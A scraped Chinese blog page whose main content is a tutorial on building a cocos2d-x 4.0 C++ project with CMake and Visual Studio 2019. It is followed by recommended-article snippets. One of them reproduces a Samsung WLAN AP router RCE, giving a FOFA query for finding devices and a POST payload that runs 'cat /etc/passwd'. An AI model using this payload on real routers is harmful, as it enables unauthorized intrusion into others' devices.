(C++)cocos2d-x-4.0如何使用VS2019IDE_vs 2019 cocos2d_flowers_Azusa的博客-程序员秘密

技术标签: c++  c++ cocos2d  cocos2d  

C++ cocos2d-x-4.0如何使用VS2019IDE


环境所需:
1、python2.7.x
任意python2.7.x,需要配置环境变量
在cmd下输入python --version会出现
在这里插入图片描述
如果没有出现版本信息,则重新配置环境变量

2、Visual Studio 2019

3、Cmake:
我的版本是3.19.2

4、cocos2d-x-4.0: 官网链接

配置coocs2d:
在官网下载完后,将其解压到任意目录下
在这里插入图片描述
在此文件夹下按shift + 右键,选择打开Powershell,或者使用cmd进入此目录
在这里插入图片描述
在这里插入图片描述
输入python setup.py,一路回车
在这里插入图片描述
输入cocos --verison,看到cocos版本和cocos控制台版本就表示行了
在这里插入图片描述
我们先创建一个文件夹用于存放coocs项目
我是在D盘
在这里插入图片描述
继续在Powershell或者cmd里输入命令
cocos new aaa -l cpp -d D:\project_file\cocos
new 后面跟项目名
-l 后面跟编程语言(本教程使用C++)
-d 后面跟项目文件夹路径
在这里插入图片描述
注意! 我已经在项目文件夹下了,所以使用./
这就是使用Powershell的好处

我们直接运行命令
在这里插入图片描述
在项目文件下出现了一个aaa文件夹,这就我们生成的项目
打开aaa文件夹
在这里插入图片描述
从这里开始出现分叉,一个是进入proj.win32文件夹,另一个是创建build文件夹
两个都可行,我个人比较喜欢后者,因为不必与proj.win32文件夹的内容混杂
第一个方法、进入proj.win32文件夹
在Powershell里输入cmake … -A win32
在这里插入图片描述
执行
在这里插入图片描述
完成

第二个方法、创建build文件夹
在aaa项目文件夹下创建一个build文件夹(可以右键,也可以mkdir创建)
在这里插入图片描述
进入build文件夹,打开Powershell输入:
cmake … -G"Visual Studio 16 2019" -Tv142 -A win32
然后执行
在这里插入图片描述
如果使用cocos run 命令,可能会出现错误,所以还是用cmake吧
分叉结束!

不管是第一个方法,还是第二个方法,生成的项目文件中都会出现一个aaa.sln(项目名+.sln)
在这里插入图片描述
我们双击打开,将项目设置为启动项目
在这里插入图片描述
设置完后,ctrl+F5编译项目
如果出现这个错误
在这里插入图片描述
请把项目设置为启动项目!
成功画面
在这里插入图片描述

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_38670822/article/details/114358282

智能推荐

【CS Round #43 D】Bad Triplet_weixin_30710457的博客-程序员秘密

【链接】点击打开链接【题意】给你n个点m条边的无权无向联通图;让你找3个点A,B,C使得A->B=B->C=A->C这里X->Y表示点X到点Y的最短路长度.【题解】考虑一个出度大于等于3的点x.任取其3个出度a,b,c如果a和b有边相连,则输出x,a,b->一个长度为3的环如果a和c有边相连,则输出x,a,c如果...

CentOS 5.2 初始化环境设置_cixianba5765的博客-程序员秘密

以下我在安装及设置的步骤和遇到问题时解决方法记录,并且以下操作全是在root下进行。[@[email protected]]google_protectAndRun("ads_core.google_render_ad", google...

一次印象深刻的bug调试经历_孤独人生的博客-程序员秘密

最近一段时间,再做一个用pig写的基于曝光数据的为大广告主提供一些搞搞效果数据的项目,最近苦逼的加班了好久,周末加过班、晚上加班、回家以后跑数据还得加班,总之是我大学毕业一年半以来最苦逼的日子。 本来给pm的档期是今天上线,可是由于需求太紧张、工期紧,直到昨天还在看自己跑出来的数据是否合理。然后发现了曝光数据一个字段根本没有上报,导致数据有数据丢失的现象,然后就临时采用生成随机值补全的...

linux下实现mysql每日自动备份和自动删除备份文件(附Nginx日志切割)_mysql一天一备份,清除发给云服务器_Murphyuan的博客-程序员秘密

Mysql每日自动备份先查看一下磁盘空间使用情况,选一个剩余空间充足的磁盘 df -h创建一个存放日志文件的文件夹 mkdir /home/backup/mysql创建一个脚本文件 mysqlback.sh 放在 /home/backup 目录下,脚本文件内容如下:#data/backup/mysql#!/bin/bashdb_user="用户名"db_password="密码"db_name="数据库名称"# date format for backup file (dd-mm-

02.改善深层神经网络:超参数调试、正则化以及优化 W1.深度学习的实践层面(作业:初始化+正则化+梯度检验)_给w1加正则_Michael阿明的博客-程序员秘密

文章目录作业1:初始化1. 神经网络模型2. 使用 0 初始化3. 随机初始化4. He 初始化测试题:参考博文笔记:02.改善深层神经网络:超参数调试、正则化以及优化 W1.深度学习的实践层面作业1:初始化好的初始化:加快梯度下降的收敛速度增加梯度下降收敛到较低的训练(和泛化)误差的几率导入数据import numpy as npimport matplotlib.pyplot as pltimport sklearnimport sklearn.datasetsfrom in

Mybatis-PLUS API_mybatis-plusaip_非ban必选的博客-程序员秘密

insert/** * <p> * 插入一条记录 * </p> * * @param entity 实体对象 * @return 插入成功记录数 */int insert(T entity);deleteById/** * <p> * 根据 ID 删除 * </p> * * @param id 主键ID *...

随便推点

太原理工大学Linux考试题整理_太原理工大学linux期末考试_苦心僧的博客-程序员秘密

为了保护系统的安全,现在的linux系统一般将/etx/passwd文件中的密码加密后,保存在 /etc/shadow中设超级用户当前所在目录为:/usr/local 键入cd~命令后,该用户当前所在目录为 /root如果在/etc/group 文件中有一行内容是“students :: 1006:z3,l4,w5”,那么在“students”组中有 不清楚(主组和附加组的区别) 个用户Centos7根分区的文件系统类型是 ext4已知某用户stud1,其用户主目录为/home..

需求用例分析之九:序列图_软件需求分析序列图_zhangmike的博客-程序员秘密

作者:张克强    作者微博:张克强-敏捷307序列图,也称时序图、顺序图,英文名Sequence Diagram。在雅各布森用例分析方法中鼓励使用各类图形来表达,但恰恰没有明确提到序列图。而科伯恩用例分析方法以结构化/半结构化文本用例为中心,强调基于目标的文本格式,对UML各类图所提甚少。在RUP和OOAD中,UML序列图的最基本定位是用于识别类与类之间的信息传递,是识别类的方法的最佳场合。它是

老板让我搞数字化转型?成功之后,我整理了这套超全的方法论_帆软商业智能技术的博客-程序员秘密

文|空白女侠聊数字化之前,先来给大家画个故事:通过以上,大家应该对企业数字化转型有了模糊的概念,但是这张图只是展示1%的难点。一直以来有很多同学都想让我仔细聊聊企业的数字化转型,每每拿起笔来总感觉无处下手。一方面企业的数字化转型题目太大,足够写出一本...

gdb 系列(1) (hwbreakpoint\watchpoint)_aarch64_dbg_reg_wcr_green369258的博客-程序员秘密

1. 软硬件环境android 7.0(n) QCOM 骁龙8202. 背景我最初是因为要做一件类似这样的事情的时候才研究这个的 art debug过程中我们发现 经常有SIGSEGV的问题,而且是死在java 代码里(art 已经使用dexoat把java code compile 成了机器码) 几经分析发现是在对象的method里执行的时候this指针被改了,导致了取对象的一些成员的时候出

Samsung-WLAN-AP路由器RCE漏洞复现_路由器漏洞复现_Ling-cheng的博客-程序员秘密

简介:三星-WLAN-AP-WEA453e 路由器存在远程命令执行。fofa搜索:title="Samsung WLAN AP"大多都是国外的,随便点击一个后进入网页主页面漏洞利用:利用burp构造特殊的请求exp:POST /(download)/tmp/a.txt HTTP/1.1Host: xxx.xxx.xxx.xxxcommand1=shell:cat /etc/passwd| dd of=/tmp/a.txt利用工具

破解世界性技术难题! GTS让分布式事务简单高效_weixin_34281477的博客-程序员秘密

近日,2017云栖大会·深圳峰会如期举行,多项阿里云新产品对外发布。在企业级互联网架构分会场,来自阿里中间件(Aliware)的技术专家及合作伙伴,为现场参会嘉宾带来最新的传统IT架构到企业级互联网架构跨越式升级、实现互联网转型的产品及解决方案。其中高级技术专家姜宇在分享中带来的Aliware新产品—全局事务服务(Global Transaction S...

推荐文章

热门文章

相关标签